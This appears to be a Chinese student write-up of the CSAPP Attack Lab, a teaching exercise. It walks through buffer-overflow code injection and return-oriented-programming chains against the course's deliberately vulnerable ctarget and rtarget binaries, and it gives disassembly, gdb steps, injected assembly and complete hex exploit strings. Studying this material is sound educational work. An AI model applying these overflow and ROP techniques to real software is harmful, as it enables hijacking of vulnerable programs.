1.attack lab 引言

参考:

目的:理解缓冲区溢出错误

文件解析:

  • ctarget一个易受到code-injection攻击的可执行程序
  • rtarget一个人易受到return-oriented-programming攻击的可执行程序
  • cookie一个8位的十六进制编码,唯一标识符用于身份验证
  • farm目标gadget-farm的源代码,产生return-oriented programming的时候会用到
  • hex2raw一个生成攻击字符串的程序

函数运行:

  • 当运行./ctarget报错Running on an illegal host [DESKTOP-7HBMUNV]
  • 则需要运行./ctarget -q不参与在线评分系统
  • image-20231102151714240

实验阶段:

image-20231102152252030

2.code-injection-attacks

利用字符串攻击ctarget

2.1 lever 1

  • 不需要注入新代码,输入字符串需要指引程序去执行一个已经存在的函数。

  • ctarget中函数test调用了 getbuf,test的函数如下:

    1
    2
    3
    4
    5
    void test() { 
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
    }
  • getbuf执行返回语句时(第五行),按照规则,程序会继续执行test函数中的语句,而我们想要改变这个行为,touch1代码如下

    1
    2
    3
    4
    5
    6
    void touch1(){
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
    }
  • 任务让ctarget在getbuf执行返回语句后执行touch1的代码,注意:攻击字符串可以破坏栈中不直接和本阶段相关的部分,这不会造成问题,因为touch1会使得程序直接退出。

建议:

  • 设计本阶段的攻击字符串所需的信息都从检查CTARGET的反汇编代码中获得。用objdump -d进行反汇编。
  • 主要思路是找到touch1的起始地址的字节表示的位置,使得getbuf结尾处的ret指令会将控制转移到touch1。
  • 注意字节顺序。
  • 可能需要用GDB单步跟踪调试getbuf的最后几条指令,确保它按照你期望的方式工作。
  • buf在getbuf栈帧中的位置取决于编译时常数BUFFER_SIZE的值,以及GCC使用的分配策略。你需要检查反汇编带来来确定它的位置。

思路:

  • 对ctarget仅下反汇编。

  • 得到test的反汇编代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    0000000000401968 <test>:
    401968: 48 83 ec 08 sub $0x8,%rsp #栈顶开辟8字节
    40196c: b8 00 00 00 00 mov $0x0,%eax #eax = 0
    401971: e8 32 fe ff ff callq 4017a8 <getbuf> #调用getbuf
    401976: 89 c2 mov %eax,%edx #edx = eax
    401978: be 88 31 40 00 mov $0x403188,%esi #
    40197d: bf 01 00 00 00 mov $0x1,%edi
    401982: b8 00 00 00 00 mov $0x0,%eax
    401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
    40198c: 48 83 c4 08 add $0x8,%rsp
    401990: c3 retq
  • getbuf的反汇编代码:

    1
    2
    3
    4
    5
    6
    7
    00000000004017a8 <getbuf>:
    4017a8: 48 83 ec 28 sub $0x28,%rsp #0x28 = 40 开辟了40字节的栈空间
    4017ac: 48 89 e7 mov %rsp,%rdi
    4017af: e8 8c 02 00 00 callq 401a40 <Gets>
    4017b4: b8 01 00 00 00 mov $0x1,%eax
    4017b9: 48 83 c4 28 add $0x28,%rsp
    4017bd: c3 retq
  • 以及touch1的反汇编代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    00000000004017c0 <touch1>:
    4017c0: 48 83 ec 08 sub $0x8,%rsp
    4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
    4017cb: 00 00 00
    4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
    4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
    4017d8: bf 01 00 00 00 mov $0x1,%edi
    4017dd: e8 ab 04 00 00 callq 401c8d <validate>
    4017e2: bf 00 00 00 00 mov $0x0,%edi
    4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>

  • test 栈顶开辟了0x8 8个字节地址空间,getbuf栈顶开辟了0x28 40个字节地址空间,所以此时的栈顶结构如下:

    说明
    test
    返回地址 ret
    %rsp + 40 getbuf
    %rsp 栈顶
  • 要让 getbuf 返回后执行touch1 的代码。也就是返回地址应该改为touch1的值(0x4017c0)

  • 所以可以让输入占满 getbuf 开辟的0x28占空间,并在在字符串中写入touch1的地址值。注意地址输入的顺序是小端

  • image-20231102165418327

  • image-20231102165510296

2.2 level 2

  • touch2的代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    void touch2(unsigned val){ 
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
    printf("Touch2!: You called touch2(0x%.8x)\n", val);
    validate(2);
    } else {
    printf("Misfire: You called touch2(0x%.8x)\n", val);
    fail(2);
    }
    exit(0);
    }
  • 必须使得ctarget执行touch2的代码而不是返回test函数,必须要让touch2 以为收到的参数是你的cookie(0x59b997fa)

建议:

  • 需要确定注入代码的地址的字节表示位置,能够使得getbuf代码最后ret指令能够转移到那里
  • 函数的第一个参数是放在寄存器%rdi中
  • 注入的代码必须将寄存器的值设定你的cookie,然后利用ret指令将控制转移到touch2的第一条指令
  • 不要在攻击代码中使用 jmp 或 call 命令,这些指令编码的地址很难确定,所以的控制转移都要使用ret指令,即使实际上你并不是要从一个函数调用返回

思路:

  • touch2 的汇编代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    00000000004017ec <touch2>:
    4017ec: 48 83 ec 08 sub $0x8,%rsp #8个字节
    4017f0: 89 fa mov %edi,%edx
    4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
    4017f9: 00 00 00
    4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
    401802: 75 20 jne 401824 <touch2+0x38>
    401804: be e8 30 40 00 mov $0x4030e8,%esi
    401809: bf 01 00 00 00 mov $0x1,%edi
    40180e: b8 00 00 00 00 mov $0x0,%eax
    401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
    401818: bf 02 00 00 00 mov $0x2,%edi
    40181d: e8 6b 04 00 00 callq 401c8d <validate>
    401822: eb 1e jmp 401842 <touch2+0x56>
    401824: be 10 31 40 00 mov $0x403110,%esi
    401829: bf 01 00 00 00 mov $0x1,%edi
    40182e: b8 00 00 00 00 mov $0x0,%eax
    401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
    401838: bf 02 00 00 00 mov $0x2,%edi
    40183d: e8 0d 05 00 00 callq 401d4f <fail>
    401842: bf 00 00 00 00 mov $0x0,%edi
    401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
  • touch2 函数的地址位0x4017ec

  • 不仅仅需要修改返回地址调用touch2函数,而已还要把cookie作为参数传递进去,题目不建议使用jmpcall指令进行跳转,所以只能通过在栈中保存目标代码的地址,然后以ret的形式进行跳转。

  • ret指令:

    • x86-64用%rip表示程序计数器,它时刻指向下一条要执行的指令在内存中的地址
    • 于是ret指令就相当于pop %rip 把栈中存放的地址弹出作为下一条指令的地址
    • 所以可以利用pushret就能实现指令的转移
  • 做法如下:

    • 首先输入字符串把caller的栈中的存储的返回地址修改为注入代码存放的地址
    • 注入代码:
      • 查看cookie的值,将第一个参数寄存器修改为该值
      • 在栈中压入touch2的地址
      • ret指令调用返回值即是touch2
    • 注入代码的地址,注入代码应该存放在getbuf分配的0x28大小的栈中,地址为getbuf栈顶。
  • 注入代码为

    1
    2
    3
    movq $0x59b997fa %rdi #将cookie的值传入 rdi中
    pushq &0x4017ec #touch2函数的地址
    ret
  • 接下来利用gdb获取getbuf 的栈顶位置,

    • b getbuf()在getbuf函数打上断点
    • r -q 执行程序
    • stepi单步进入函数内部 一遍获取 rsp的值
    • p/x $rsp 按照16进制print出 $rsp的值
    • image-20231102201624826
    • 所以%rsp中存放的值是0x5561dc78也就是下一个程序执行的地址 应该是我们要修改的返回地址
  • 逻辑:

    • getbuf执行完ret后,弹出注入代码的地址
    • 程序执行注入代码,再次执行ret 弹出touch2函数的代码

实现:

  • 将汇编代码写在c2.s文件中,然后进行编译,使用gcc -c c2.sobjdump -d c2.o > c2.d得到字节级的表示
  • image-20231102205115761
  • 将字节放到40个字节的开头,然后代码地址放在溢出的部分,那么getbuf读取字符串的时候会溢出,此时栈顶rsp存放的地址是0x5561dc78,并且栈已经被注入代码覆盖,然后ret到代码地址,运行注入代码,写入cookietouch2 的地址。
  • image-20231102212131186
  • image-20231102212217851

2.3 level 3

同样是注入攻击,但是是传递字符串作为参数

hexmatch代码:

1
2
3
4
5
6
7
8
9
10
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100; //s是随机的
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

touch3代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

目的是让ctarget执行touch3 而不是返回test

建议:

  • 攻击字符串中要包含cookie的字符串,这个字符串由8个16进制数字组成顺序由高位到地位,开头没有0x
  • 字符串在c语言中表示为字节序列,后跟值0的字节
  • 注入代码应该将寄存器%rdi设置为攻击字符串的地址
  • 调用hexmatch和strncmp函数的时候,会将数据压入栈中,覆盖getbuf使用的缓冲区的内存,需要将cookie字符串放置在合适的地方

思路:

  • 本题与phase2类似,区别是本题传入的是字符串,切需要将cookie字符串放置在合适的位置
  • char *s = cbuf + random() % 100; //s是随机的 hexmatch中这一行代码表面 s是随机的,再然后根据建议4,所以如果跟phase2一样注入getbuf函数的栈中的话,可能会被被覆盖,所以不能将字符串放在getbuf的栈中,所以可以放置在test的栈中。
  • 其余思路跟phase2差不多

实现:

  • test的反汇编代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    0000000000401968 <test>:
    401968: 48 83 ec 08 sub $0x8,%rsp #栈顶开辟8字节
    40196c: b8 00 00 00 00 mov $0x0,%eax #eax = 0
    401971: e8 32 fe ff ff callq 4017a8 <getbuf> #调用getbuf
    401976: 89 c2 mov %eax,%edx #edx = eax
    401978: be 88 31 40 00 mov $0x403188,%esi #
    40197d: bf 01 00 00 00 mov $0x1,%edi
    401982: b8 00 00 00 00 mov $0x0,%eax
    401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
    40198c: 48 83 c4 08 add $0x8,%rsp
    401990: c3
  • touch3的反汇编代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    00000000004018fa <touch3>:
    4018fa: 53 push %rbx
    4018fb: 48 89 fb mov %rdi,%rbx
    4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
    401905: 00 00 00
    401908: 48 89 fe mov %rdi,%rsi
    40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
    401911: e8 36 ff ff ff callq 40184c <hexmatch>
    401916: 85 c0 test %eax,%eax
    401918: 74 23 je 40193d <touch3+0x43>
    40191a: 48 89 da mov %rbx,%rdx
    40191d: be 38 31 40 00 mov $0x403138,%esi
    401922: bf 01 00 00 00 mov $0x1,%edi
    401927: b8 00 00 00 00 mov $0x0,%eax
    40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt>
    401931: bf 03 00 00 00 mov $0x3,%edi
    401936: e8 52 03 00 00 callq 401c8d <validate>
    40193b: eb 21 jmp 40195e <touch3+0x64>
    40193d: 48 89 da mov %rbx,%rdx
    401940: be 60 31 40 00 mov $0x403160,%esi
    401945: bf 01 00 00 00 mov $0x1,%edi
    40194a: b8 00 00 00 00 mov $0x0,%eax
    40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt>
    401954: bf 03 00 00 00 mov $0x3,%edi
    401959: e8 f1 03 00 00 callq 401d4f <fail>
    40195e: bf 00 00 00 00 mov $0x0,%edi
    401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>
  • 使用gdb调试 获取test栈指针的地址0x5561dca8 这个地址就是我们cookie字符串需要存放的地址,也是调用touch3应该传入的参数,由touch3 的地址为0x4018fa

    • b $0x401968设置断点
    • r -q 运行
    • stepi 单步执行进入函数
    • p/x $rsp打印栈指针的值
    • image-20231102221124338
  • 注入代码为:

    1
    2
    3
    movq $0x5561dca8, %rdi #从0x5561dca8 加载字符串到rdi中
    pushq $0x4018fa #传入touch3 的地址
    ret
  • 同上操作得到字节级返回:

  • image-20231102222104635

  • 所以phase3的栈帧应该是如下:来自【精选】CSAPP-Lab03 Attack Lab 详细解析-CSDN博客 THX!!!

  • image-20231102222219420

  • 将cookie = 59b997fa 按照ascii 转成字符串 为35 39 62 39 39 37 66 61

  • 逻辑:

    • getbuf 执行ret, 从栈中弹出地址0x5561dc78,跳转到注入代码
    • 代码执行,将存在地址为0x5561dca8的字符串传入参数寄存器%rdi
    • 将touch3的地址压入栈
    • 执行ret 从栈中弹出touch3 函数的地址。
  • 所以注入最终字符串为:

  • image-20231102223458707

  • 因为在text栈帧中多用了一个字节存放cookie,所以最后8个字节用来存放cookie的字符串

  • image-20231102223921626

3.return-oriented programming

说明:对rtarget 进行攻击比ctarget要困难许多

  • rtarget使用了随机化,使得每次运行时栈堆的位置都不同。
  • 将保存栈的内存区域设置为不可执行,所以即使将攻击代码放入了程序计数器中,也会不可以执行

ROP:面向返回的程序设计,就是在已经存在的程序中找到特定的以ret结尾的指令序列为我们所用,称这样的代码段为gadget,把要用到的部分的地址压入栈中,每次ret后取出一个新的gadget,所以就可以形成一个程序连,实现攻击。——拼凑代码

3.1 level 2

phase 4将重复phase 2阶段的攻击(修改返回地址 调用touch2),不同的是要使用gadget farm 里的gadget 来攻击rtarget程序,你的答案只使用如下指令类型的gadget。也只能使用前八个寄存器%rax - %rdi

  • movq:代码figure 3A
    • image-20231103102041710
  • popq:见figure 3B
    • image-20231103102111796
  • ret:0xc3 单字节编码
  • nop:0x90单字节编码,

建议:

  • 所有的gadgets都可在rtarget代码的start-farm 到mid -farm中找到
  • 只可以使用两个gadgets来实现这次攻击
  • 如果一个gadget使用了popq指令,那么它会从栈中弹出数据。这样一来,你的攻击代码能既包含gadget的地址也包含数据。

思路:

  • phase 2 注入的代码:

    1
    2
    3
    movq $0x59b997fa %rdi #将cookie的值传入 rdi中
    pushq &0x4017ec #touch2函数的地址
    ret
  • 很难从程序中获得带有特定立即数($0x59b997fa)的gadget代码。—–联想到建议第三点如果一个gadget 使用了pop命令,那么它会从栈中弹出数据,这样一来你的攻击代码技能包含gadget的地址也包含数据

  • 对 rtarget 执行反汇编objdump -d rtarget > rtarget.s得到.s文件

  • 根据上面的思路,理论上只需要将cookie 赋值给 参数寄存器%rdi,然后再将ret设置为touch2的地址

    1
    2
    pop %rdi
    ret
  • rtarget.s中start_farm到 end_farm这一段搜索是否存在pop %rdi----用5f表示 ——-没有这个gadget

  • 所以再根据题目提示的,可以用两条gadget组合,那么可以得到如下代码

    1
    2
    3
    4
    5
    6
    #cookie 数据 gadget1
    pop %rax
    ret #ret gadget2
    #gadget2 rax移动到 rdi
    movq %rax, %rdi
    ret # touch2
  • 查表 popq %rax 的编码表示为58movq %rax, %rdi的编码表示为 48 89 c7

  • 在farm搜索这几个编码 存在58

    1
    2
    3
    4
    5
    6
    7
    00000000004019a7 <addval_219>:
    4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
    4019ad: c3 retq
    -----
    00000000004019a0 <addval_273>:
    4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
    4019a6: c3 retq
  • 所以可以得到58的指令地址为0x4019ab48 89 c7的指令地址为0x4019a2cookie(0x59b997fa)touch2(4017ec)

  • 所以可以得到test输入的字符串为以下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 #补齐40个字节
    ab 19 40 00 00 00 00 00 # pop %rax的指令 58
    fa 97 b9 59 00 00 00 00 # cookie的值 59b997fa
    a2 19 40 00 00 00 00 00 # movq %rax,rdi的指令
    ec 17 40 00 00 00 00 00 # touch2的地址
  • image-20231103113722934

逻辑:

  • 栈帧:
  • image-20231103114232778
  • 首先将getbuf开辟的40个字节的栈填满溢出,
  • 然后getbuf返回后会执行gadget1函数,会将cookie的值弹出,并存入%rax
  • 然后ret执行gadget2 会将%rax 转移到%rdi
  • 然后rettouch2的地址,调用touch2函数

3.2 level 3

phase 5将实现phase 3调用touch3函数,传入的是cookie的字符串。

可以使用 farm中的所有代码。

建议

  • 需要关注movl指令对寄存器高4字节的影响
  • 官方解法需要8gadgets

phase3注入的代码为:

1
2
3
movq $0x5561dca8, %rdi #从0x5561dca8是栈中存放cookie的地址 加载字符串到rdi中 
pushq $0x4018fa #传入touch3 的地址
ret
  • rtarget中 栈的位置是随机的 所以没有办法使用绝对地址直接找到cookie存放在栈中的地址,因此可以采用偏移量计算的方式,用相对地址访问

  • 计算相对地址可以使用%rsp寄存器 %rsp—-栈指针寄存器 指向栈顶,然后加上偏移量就可以获得存放 cookie的地址

  • 进行地址偏移计算需要用到 lea(load effective address)取有效地址,即取偏移地址,在farm中搜索得到:

    image-20231104114015510

  • 这一行是计算%rdi+%rsi,并将结果放在%rax中,同上phase4,需要将%rax中存放的数据传入到%rdi中,所以需要:mov %rax, %rdi 调用函数。

  • 由于操作数寄存器为%rdi%rsi,需要将栈顶取出放入到%rdi中,将偏移量取出放入到%rsi(%esi)

  • 获取栈指针位置: movq %rsp,%rdi 但farm每一满足条件的字节码,所以可以多次移动: movq %rsp ,%rax —–movq %rax,%rdi

  • 地址偏移量是我们自己手动输入,需要:popq %rax 将其取出放入到%rax寄存器

  • 然后将%rax(%eax) 放入到%rsi(%esi)中,farm没有直接指令:mov %eax,%esi,因此需要两条指令,也没有,三条:mov %eax,%ecx —- mov %ecx,%edx —–mov %edx,%esi

  • 因此 全部需要的指令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    #栈指针 存入rdi
    movq %rsp, %rax
    ret
    movq %rax, %rdi
    ret

    #传入偏移地址
    popq %rax
    ret
    movl %eax, %edx
    ret
    movl %edx, %ecx
    ret
    movl %ecx, %esi
    ret

    #计算cookie的地址,栈指针+偏移地址,存入rax
    lea (%rdi, %rsi, 1), %rax
    ret
    movq %rax, %rdi
    ret
  • 栈帧的示意图:【精选】CSAPP-Lab03 Attack Lab 详细解析-CSDN博客

    image-20231104115950030

  • 0x48:getbuf之后ret 相当于执行了一次pop操作,所以test的栈指针%rsp = %rsp + 0x8.所以cookie相对此hi栈顶的偏移量是0x48 —-cookie前面指令有9条 9*8=0x48

  • 所以序列为:

  • 00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 
    ad 1a 40 00 00 00 00 00 
    a2 19 40 00 00 00 00 00 
    cc 19 40 00 00 00 00 00 
    48 00 00 00 00 00 00 00 
    dd 19 40 00 00 00 00 00 
    70 1a 40 00 00 00 00 00 
    13 1a 40 00 00 00 00 00 
    d6 19 40 00 00 00 00 00 
    a2 19 40 00 00 00 00 00 
    fa 18 40 00 00 00 00 00 
    35 39 62 39 39 37 66 61
    
  • image-20231104120756804